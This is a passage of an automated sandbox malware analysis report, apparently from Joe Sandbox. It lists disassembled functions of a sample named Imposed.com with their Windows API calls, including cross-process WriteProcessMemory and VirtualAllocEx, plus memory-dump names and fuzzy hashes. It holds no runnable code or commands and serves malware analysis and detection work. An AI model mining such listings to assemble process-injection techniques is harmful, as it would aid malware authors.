                                                                                                                                                                • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?), ref: 009F0883
                                                                                                                                                                • CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?,?), ref: 009F088F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: From$Prog$FreeStringTasklstrcmpi
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3897988419-0
                                                                                                                                                                • Opcode ID: efade4d4e5b030e562eadaeba4cd9b12cc3219a8e7d3c4c1e1d2aa0f9069270c
                                                                                                                                                                • Instruction ID: db7c3873abc0d59900e4c97133edbee844be44b8ddceb38b47bd8064ec7772a2
                                                                                                                                                                • Opcode Fuzzy Hash: efade4d4e5b030e562eadaeba4cd9b12cc3219a8e7d3c4c1e1d2aa0f9069270c
                                                                                                                                                                • Instruction Fuzzy Hash: 95017C76600208EBDB219FA8CC44ABE7EADEB847D1F240024FA05D6212D772DD429BA0
                                                                                                                                                                Function 009F1973 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 009F198E
                                                                                                                                                                • GetLastError.KERNEL32(?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F199A
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F19A9
                                                                                                                                                                • HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F19B0
                                                                                                                                                                • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 009F19C7
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 842720411-0
                                                                                                                                                                • Opcode ID: b6d92f11bb7e1b1492a81490dca56afde9d53d97cba0471a51749e616995fe81
                                                                                                                                                                • Instruction ID: 071482100c892283aff722e0b562a09f28abe05923b6dc55d9a7a6e1b78756bf
                                                                                                                                                                • Opcode Fuzzy Hash: b6d92f11bb7e1b1492a81490dca56afde9d53d97cba0471a51749e616995fe81
                                                                                                                                                                • Instruction Fuzzy Hash: BA0181B5500206FFDB218FA9EC49E7A3B6EEF84360B210424F945D7260DB71DC428AA0
                                                                                                                                                                Function 009F188E Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 009F18A4
                                                                                                                                                                • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 009F18B0
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009F18BF
                                                                                                                                                                • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 009F18C6
                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009F18DC
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 44706859-0
                                                                                                                                                                • Opcode ID: 39982ba48086881bd80b2f7ad17e3da9dd55f9ed3effe739baadfa78efc5e1c5
                                                                                                                                                                • Instruction ID: 0f19f4f052b23406c433a943f7f0889e690a6ffbc561a95ee9f90caa7d229d88
                                                                                                                                                                • Opcode Fuzzy Hash: 39982ba48086881bd80b2f7ad17e3da9dd55f9ed3effe739baadfa78efc5e1c5
                                                                                                                                                                • Instruction Fuzzy Hash: CAF06275100305ABD7214FE9EC49F663B6DEF89760F200435FA45C7261DB70D8128BA0
                                                                                                                                                                Function 009F182E Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 009F1844
                                                                                                                                                                • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 009F1850
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 009F185F
                                                                                                                                                                • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 009F1866
                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 009F187C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 44706859-0
                                                                                                                                                                • Opcode ID: 88f7fe36968d54021debaab0f712fda5e6581e71ef63801dfe44f11b275ed573
                                                                                                                                                                • Instruction ID: 60ccf43c42c6f74fee60bc82bc37012b46c9410aee64522a2b02a93b7656c6e3
                                                                                                                                                                • Opcode Fuzzy Hash: 88f7fe36968d54021debaab0f712fda5e6581e71ef63801dfe44f11b275ed573
                                                                                                                                                                • Instruction Fuzzy Hash: 20F06276100305ABD7215FA8DC4DF663B6DEF89760F200435FA45C7261DB70DC128BA0
                                                                                                                                                                Function 00A00B69 Relevance: 7.5, APIs: 6, Instructions: 41COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,00A009E1,?,00A03C13,?,00000001,009D4EA0,?), ref: 00A00B7E
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,00A009E1,?,00A03C13,?,00000001,009D4EA0,?), ref: 00A00B8B
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,00A009E1,?,00A03C13,?,00000001,009D4EA0,?), ref: 00A00B98
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,00A009E1,?,00A03C13,?,00000001,009D4EA0,?), ref: 00A00BA5
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,00A009E1,?,00A03C13,?,00000001,009D4EA0,?), ref: 00A00BB2
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,00A009E1,?,00A03C13,?,00000001,009D4EA0,?), ref: 00A00BBF
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseHandle
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2962429428-0
                                                                                                                                                                • Opcode ID: e5a1802ce1056dd06e0b52e8077b37cea262a7d7a878dd86d766f8a6caed00b5
                                                                                                                                                                • Instruction ID: 4be0aab2de6d386d0db94b246bebbfa0fcf3126810ba07b203f89ca87707d30c
                                                                                                                                                                • Opcode Fuzzy Hash: e5a1802ce1056dd06e0b52e8077b37cea262a7d7a878dd86d766f8a6caed00b5
                                                                                                                                                                • Instruction Fuzzy Hash: 2D01AE71801B19DFCB30AF66E890912FBF9BF613197158A3ED19652971C7B0A949CF80
                                                                                                                                                                Function 009F6460 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 009F6474
                                                                                                                                                                • GetWindowTextW.USER32(00000000,?,00000100), ref: 009F648B
                                                                                                                                                                • MessageBeep.USER32(00000000), ref: 009F64A3
                                                                                                                                                                • KillTimer.USER32(?,0000040A), ref: 009F64BF
                                                                                                                                                                • EndDialog.USER32(?,00000001), ref: 009F64D9
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3741023627-0
                                                                                                                                                                • Opcode ID: 8a5208168120544e1e23203de3bdce47c75575da355dfd3c8b0c3ad5b6c7609a
                                                                                                                                                                • Instruction ID: a319793362520fa00b59f2efeec2428ca8b53febc94b90a7b1ae26dbf80949a8
                                                                                                                                                                • Opcode Fuzzy Hash: 8a5208168120544e1e23203de3bdce47c75575da355dfd3c8b0c3ad5b6c7609a
                                                                                                                                                                • Instruction Fuzzy Hash: E5018630500308ABEB30AF54DD5EBB67778FF00705F000569A656614F1D7F4A9468B90
                                                                                                                                                                Function 009CDB5A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • _free.LIBCMT ref: 009CDB72
                                                                                                                                                                  • Part of subcall function 009C2DE8: RtlFreeHeap.NTDLL(00000000,00000000,?,009CDBF1,?,00000000,?,00000000,?,009CDC18,?,00000007,?,?,009CE016,?), ref: 009C2DFE
                                                                                                                                                                  • Part of subcall function 009C2DE8: GetLastError.KERNEL32(?,?,009CDBF1,?,00000000,?,00000000,?,009CDC18,?,00000007,?,?,009CE016,?,?), ref: 009C2E10
                                                                                                                                                                • _free.LIBCMT ref: 009CDB84
                                                                                                                                                                • _free.LIBCMT ref: 009CDB96
                                                                                                                                                                • _free.LIBCMT ref: 009CDBA8
                                                                                                                                                                • _free.LIBCMT ref: 009CDBBA
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 776569668-0
                                                                                                                                                                • Opcode ID: e539bd8c5e660a9b5564ecccfc53035e3c099a59316a71a56bff3b5707cea3d3
                                                                                                                                                                • Instruction ID: 24bf0118786300de8e5212de770358c8fda39b1a72aac2e4b2389d21128428d9
                                                                                                                                                                • Opcode Fuzzy Hash: e539bd8c5e660a9b5564ecccfc53035e3c099a59316a71a56bff3b5707cea3d3
                                                                                                                                                                • Instruction Fuzzy Hash: 09F01272D45304AB8620EBA8E981F1A77EDFE90751796085DF009DB551C730FCC04A66
                                                                                                                                                                Function 009C2630 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • _free.LIBCMT ref: 009C264E
                                                                                                                                                                  • Part of subcall function 009C2DE8: RtlFreeHeap.NTDLL(00000000,00000000,?,009CDBF1,?,00000000,?,00000000,?,009CDC18,?,00000007,?,?,009CE016,?), ref: 009C2DFE
                                                                                                                                                                  • Part of subcall function 009C2DE8: GetLastError.KERNEL32(?,?,009CDBF1,?,00000000,?,00000000,?,009CDC18,?,00000007,?,?,009CE016,?,?), ref: 009C2E10
                                                                                                                                                                • _free.LIBCMT ref: 009C2660
                                                                                                                                                                • _free.LIBCMT ref: 009C2673
                                                                                                                                                                • _free.LIBCMT ref: 009C2684
                                                                                                                                                                • _free.LIBCMT ref: 009C2695
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 776569668-0
                                                                                                                                                                • Opcode ID: fd29189bc1a3399e5a4bde2993b18e4f1ed46c236c46654308f86146655cc175
                                                                                                                                                                • Instruction ID: df43468fbfd5f3bdabd525eb7c0469a11c35b478e3138c2ce6fceeb1f44f886d
                                                                                                                                                                • Opcode Fuzzy Hash: fd29189bc1a3399e5a4bde2993b18e4f1ed46c236c46654308f86146655cc175
                                                                                                                                                                • Instruction Fuzzy Hash: 7FF0FE70C016209B8611FFA5BC11B583BB4FB64752746051BF415DA2F1CBB10983DF96
                                                                                                                                                                Function 009C12D7 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: __freea$_free
                                                                                                                                                                • String ID: a/p$am/pm
                                                                                                                                                                • API String ID: 3432400110-3206640213
                                                                                                                                                                • Opcode ID: c56963b968fe730e07af4a1332485af968f5b037cb5d4d7787e50cc53b0ed39e
                                                                                                                                                                • Instruction ID: 7c4cba2fd50d34316adc7f4dc8ddb70501175b9c2e903dd6484ef715a97bf6ca
                                                                                                                                                                • Opcode Fuzzy Hash: c56963b968fe730e07af4a1332485af968f5b037cb5d4d7787e50cc53b0ed39e
                                                                                                                                                                • Instruction Fuzzy Hash: 12D1E075D00206CBDB289F68C995FBAB7B8FF47310F28415DE5029B263D2358D40CBAA
                                                                                                                                                                Function 009F2F16 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009FBC27: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009F29D0,?,?,00000034,00000800,?,00000034), ref: 009FBC51
                                                                                                                                                                • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 009F2F60
                                                                                                                                                                  • Part of subcall function 009FBBF2: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009F29FF,?,?,00000800,?,00001073,00000000,?,?), ref: 009FBC1C
                                                                                                                                                                  • Part of subcall function 009FBB4E: GetWindowThreadProcessId.USER32(?,?), ref: 009FBB79
                                                                                                                                                                  • Part of subcall function 009FBB4E: OpenProcess.KERNEL32(00000438,00000000,?,?,?,009F2994,00000034,?,?,00001004,00000000,00000000), ref: 009FBB89
                                                                                                                                                                  • Part of subcall function 009FBB4E: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,009F2994,00000034,?,?,00001004,00000000,00000000), ref: 009FBB9F
                                                                                                                                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 009F2FCD
                                                                                                                                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 009F301A
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                                                                                                                                • String ID: @
                                                                                                                                                                • API String ID: 4150878124-2766056989
                                                                                                                                                                • Opcode ID: 983319b9855bd77bc2096961addd6b2f2a97d4c014fc463dde60294c2b6887f0
                                                                                                                                                                • Instruction ID: 60dda76c24483e89abd496796ef21cc8e93c37f09a482a841d3a3a633d2f957d
                                                                                                                                                                • Opcode Fuzzy Hash: 983319b9855bd77bc2096961addd6b2f2a97d4c014fc463dde60294c2b6887f0
                                                                                                                                                                • Instruction Fuzzy Hash: 40412A7290021CAFDB11DFA8CC85BEEBBB8EB49700F104095FA45B7191DB716E85CB61
                                                                                                                                                                Function 009C1ABE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\390641\Imposed.com,00000104), ref: 009C1AF9
                                                                                                                                                                • _free.LIBCMT ref: 009C1BC4
                                                                                                                                                                • _free.LIBCMT ref: 009C1BCE
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _free$FileModuleName
                                                                                                                                                                • String ID: C:\Users\user\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                                • API String ID: 2506810119-1093597432
                                                                                                                                                                • Opcode ID: af4b50aed9321d1ca1f940dc45a7b178f2bf61943fb783821da7b8c76fcbbae9
                                                                                                                                                                • Instruction ID: 3c46b90474f018676f0528f4391d05d5437b1251b239a423bb085cab8843cf43
                                                                                                                                                                • Opcode Fuzzy Hash: af4b50aed9321d1ca1f940dc45a7b178f2bf61943fb783821da7b8c76fcbbae9
                                                                                                                                                                • Instruction Fuzzy Hash: 33319771E00218AFDB21DF99CC81F9EBBFCEF96750B10416EE40497215E6704E41CB96
                                                                                                                                                                Function 009FC9D3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 009FCA5C
                                                                                                                                                                • DeleteMenu.USER32(?,00000007,00000000), ref: 009FCAA2
                                                                                                                                                                • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00A629B0,01515D38), ref: 009FCAEB
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Menu$Delete$InfoItem
                                                                                                                                                                • String ID: 0
                                                                                                                                                                • API String ID: 135850232-4108050209
                                                                                                                                                                • Opcode ID: 053dadbddafbfe6b44d833ba04c82adcc0df300c25194013739c339ca2ae0350
                                                                                                                                                                • Instruction ID: e55b9bfc0c7bcd2473448dcd884d06a04222489a43de2a94111bc20f69c0ea8e
                                                                                                                                                                • Opcode Fuzzy Hash: 053dadbddafbfe6b44d833ba04c82adcc0df300c25194013739c339ca2ae0350
                                                                                                                                                                • Instruction Fuzzy Hash: F241B1B020434D9FD720DF28C985F2AB7E8EF85354F14862DF66597292E770E805CB62
                                                                                                                                                                Function 00A24AF2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00A2DBF4,00000000,?,?,?,?), ref: 00A24B86
                                                                                                                                                                • GetWindowLongW.USER32 ref: 00A24BA3
                                                                                                                                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A24BB3
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
